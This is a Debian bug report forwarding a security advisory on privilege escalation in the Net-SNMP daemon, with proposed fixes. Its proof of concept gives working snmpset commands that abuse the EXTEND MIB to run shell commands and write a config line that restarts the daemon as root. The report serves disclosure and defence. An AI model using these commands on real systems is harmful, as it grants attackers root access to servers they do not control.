Package: snmpd Version: 5.7.3 The report below comes from USD AG (https://www.usd.de). I am forwarding this report to the Debian organization because I think the root cause is not in the upstream Net-SNMP project but instead in how the Debian project packaged the Net-SNMP software. I see two possible approaches to fix this next to the solutions already mentioned in the report below: - Disable the EXTEND MIB. This will be considered as a regression by the users of this MIB. - Do not allow the Debian-snmp user to modify the snmpd configuration.
------------------------------------------------------------------------- Advisory: Elevation of Privileges in Net-SNMP Description =========== On Debian based systems, the *NET-SNMP* daemon runs as a low privileged user account. However, this protection can be bypassed and it is possible for this account to elevate permissions to the root user. Details ======= Advisory ID: usd20200059 OTRS ID: Ticket#2020070701000015 Product: NET-SNMP Affected Version: 5.7.3 (probably earlier versions are also affected) Vulnerability Type: Elevation of Privileges Security Risk: High Vendor URL: http://www.net-snmp.org/ Vendor Status: Not fixed Advisory Status: Open CVE number: Not requested yet CVE Link: Not requested yet First Published: YYYY-MM-DD Last Update: 2020-07-09 Introduction ============ The Simple Network Management Protocol (SNMP) is a widely used network protocol for controlling and monitoring network devices. Since the corresponding service (SNMP daemon) needs access to a lot of system components and (per default) binds the network port 161, it usually runs as the root user. On Debian based systems, the default installation of SNMP sets up a dedicated low privileged user account (*Debian-snmp*), that is used to run the SNMP daemon. This adds an additional layer of security, as a compromise of the SNMP service does not directly allow root access to the targeted device. Proof of Concept ================ After installing the SNMP daemon on a Debian based system (e.g. ``apt install snmpd``), a new user account(*Debian-snmp*) is created by the installer: ``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin [..SNIP..] Debian-snmp:x:122:127::/var/lib/snmp:/bin/false ``` The configuration of the snmpd daemon (systemd) shows, that this is the user account that runs the service: ``` ubuntu@ubuntu:~$ cat /lib/systemd/system/snmpd.service [Unit] Description=Simple Network Management Protocol (SNMP) Daemon. After=network.target ConditionPathExists=/etc/snmp/snmpd.conf [Service] Environment="MIBSDIR=/usr/share/snmp/mibs:/usr/share/snmp/mibs/iana:/usr/share/snmp/mibs/ietf:/usr/share/mibs/site:/usr/share/snmp/mibs:/usr/share/mibs/iana:/usr/share/mibs/ietf:/usr/share/mibs/netsnmp" Environment="MIBS=" Type=simple ExecStartPre=/bin/mkdir -p /var/run/agentx ExecStart=/usr/sbin/snmpd -Lsd -Lf /dev/null -u Debian-snmp -g Debian-snmp -I -smux,mteTrigger,mteTriggerConf -f ExecReload=/bin/kill -HUP $MAINPID [Install] WantedBy=multi-user.target ``` In the following it is assumed that an attacker has *read-write* access to the SNMP service and is able to use the *NET-SNMP-EXTEND-MIB* extension. The following snipped shows how an attacker can abuse the *read-write* access to execute the operating system command ``id`` on the remote SNMP server: ``` ubuntu@ubuntu:~$ cat setup.sh snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \ 'nsExtendStatus."example"' = createAndGo \ 'nsExtendCommand."example"' = /bin/bash \ 'nsExtendArgs."example"' = '-c id' ubuntu@ubuntu:~$ bash setup.sh NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: createAndGo(4) NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id ubuntu@ubuntu:~$ snmpwalk -v2c -c secret localhost NET-SNMP-EXTEND-MIB::nsExtendObjects | grep example NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id NET-SNMP-EXTEND-MIB::nsExtendInput."example" = STRING: NET-SNMP-EXTEND-MIB::nsExtendCacheTime."example" = INTEGER: 5 NET-SNMP-EXTEND-MIB::nsExtendExecType."example" = INTEGER: exec(1) NET-SNMP-EXTEND-MIB::nsExtendRunType."example" = INTEGER: run-on-read(1) NET-SNMP-EXTEND-MIB::nsExtendStorage."example" = INTEGER: volatile(2) NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: active(1) NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."example" = STRING: uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp) NET-SNMP-EXTEND-MIB::nsExtendOutputFull."example" = STRING: uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp) NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."example" = INTEGER: 1 NET-SNMP-EXTEND-MIB::nsExtendResult."example" = INTEGER: 0 NET-SNMP-EXTEND-MIB::nsExtendOutLine."example".1 = STRING: uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp) ``` As one can see, the command is executed as the *Debian-snmp* user and the attacker does not gain root access directly. However, during startup the snmpd daemon loads configuration files from different locations of the file system. One of them is the folder ``/var/lib/snmp/``, which is the home directory of the *Debian-snmp* user. Since *Debian-snmp* has write access to the corresponding directory, it is possible for this user to write a new configuration file. The following snipped demonstrates, how an attacker can write a new configuration file by using *read-write* access to the snmp service. The newly created configuration just contains the option ``agentUser root``. ``` ubuntu@ubuntu:~$ cat priv.sh snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \ 'nsExtendStatus."priv"' = createAndGo \ 'nsExtendCommand."priv"' = /bin/bash \ 'nsExtendArgs."priv"' = '-c "echo agentUser root > /var/lib/snmp/snmpd.local.conf"' ubuntu@ubuntu:~$ bash priv.sh NET-SNMP-EXTEND-MIB::nsExtendStatus."priv" = INTEGER: createAndGo(4) NET-SNMP-EXTEND-MIB::nsExtendCommand."priv" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."priv" = STRING: -c \"echo agentUser root > /var/lib/snmp/snmpd.local.conf\" ubuntu@ubuntu:~$ snmpwalk -v2c -c secret localhost NET-SNMP-EXTEND-MIB::nsExtendObjects | grep priv NET-SNMP-EXTEND-MIB::nsExtendCommand."priv" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."priv" = STRING: -c \"echo agentUser root > /var/lib/snmp/snmpd.local.conf\" NET-SNMP-EXTEND-MIB::nsExtendInput."priv" = STRING: NET-SNMP-EXTEND-MIB::nsExtendCacheTime."priv" = INTEGER: 5 NET-SNMP-EXTEND-MIB::nsExtendExecType."priv" = INTEGER: exec(1) NET-SNMP-EXTEND-MIB::nsExtendRunType."priv" = INTEGER: run-on-read(1) NET-SNMP-EXTEND-MIB::nsExtendStorage."priv" = INTEGER: volatile(2) NET-SNMP-EXTEND-MIB::nsExtendStatus."priv" = INTEGER: active(1) NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."priv" = STRING: NET-SNMP-EXTEND-MIB::nsExtendOutputFull."priv" = STRING: NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."priv" = INTEGER: 1 NET-SNMP-EXTEND-MIB::nsExtendResult."priv" = INTEGER: 0 NET-SNMP-EXTEND-MIB::nsExtendOutLine."priv".1 = STRING ``` After the snmpd daemon was restarted, it no longer runs as the low privileged user account, but instead as the root user: ``` ubuntu@ubuntu:~$ cat setup.sh snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \ 'nsExtendStatus."example"' = createAndGo \ 'nsExtendCommand."example"' = /bin/bash \ 'nsExtendArgs."example"' = '-c id' ubuntu@ubuntu:~$ bash setup.sh NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: createAndGo(4) NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id ubuntu@ubuntu:~$ snmpwalk -v2c -c secret localhost NET-SNMP-EXTEND-MIB::nsExtendObjects | grep example NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id NET-SNMP-EXTEND-MIB::nsExtendInput."example" = STRING: NET-SNMP-EXTEND-MIB::nsExtendCacheTime."example" = INTEGER: 5 NET-SNMP-EXTEND-MIB::nsExtendExecType."example" = INTEGER: exec(1) NET-SNMP-EXTEND-MIB::nsExtendRunType."example" = INTEGER: run-on-read(1) NET-SNMP-EXTEND-MIB::nsExtendStorage."example" = INTEGER: volatile(2) NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: active(1) NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."example" = STRING: uid=0(root) gid=127(Debian-snmp) groups=127(Debian-snmp) NET-SNMP-EXTEND-MIB::nsExtendOutputFull."example" = STRING: uid=0(root) gid=127(Debian-snmp) groups=127(Debian-snmp) NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."example" = INTEGER: 1 NET-SNMP-EXTEND-MIB::nsExtendResult."example" = INTEGER: 0 NET-SNMP-EXTEND-MIB::nsExtendOutLine."example".1 = STRING: uid=0(root) gid=127(Debian-snmp) groups=127(Debian-snmp) ``` This way, the attacker can execute commands as the root user. This bypasses the intended account seperation and allows every user with *read-write* access to the SNMP service (including the *Debian-snmp* user itself) to escalate privileges to root. The attack described above requires a restart of the SNMP service. However, it should be noticed that this can often be enforced by the attacker. For example, the attacker can use command execution as *Debian-snmp* to kill the running snmpd instance. If the service is configured to restart automatically, this is sufficient to gain root access. Fix === There are different possibilities to fix this issue. 1. The NET-SNMP service could ignore the configuration files inside ``/var/lib/snmp`` or restrict possible options that can be configured by these files. 2. The installer of NET-SNMP could create the configuration files inside ``/var/lib/snmp`` automatically and set these files read-only. 3. The systemd service sets the SNMP user on the command line. This option could also be favored instead of the configuration file. However, one of the previous two suggestions should be preferred. References ========== http://www.net-snmp.org/ Timeline ======== 2020-01-01 First contact request via secur...@vendor.com Credits ======= This security vulnerability was found by Tobias Neitzel of usd AG. About usd Security Advisories =============================== In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task. Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues. Always for the sake of our mission: "more security." https://www.usd.de Disclaimer ========== The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.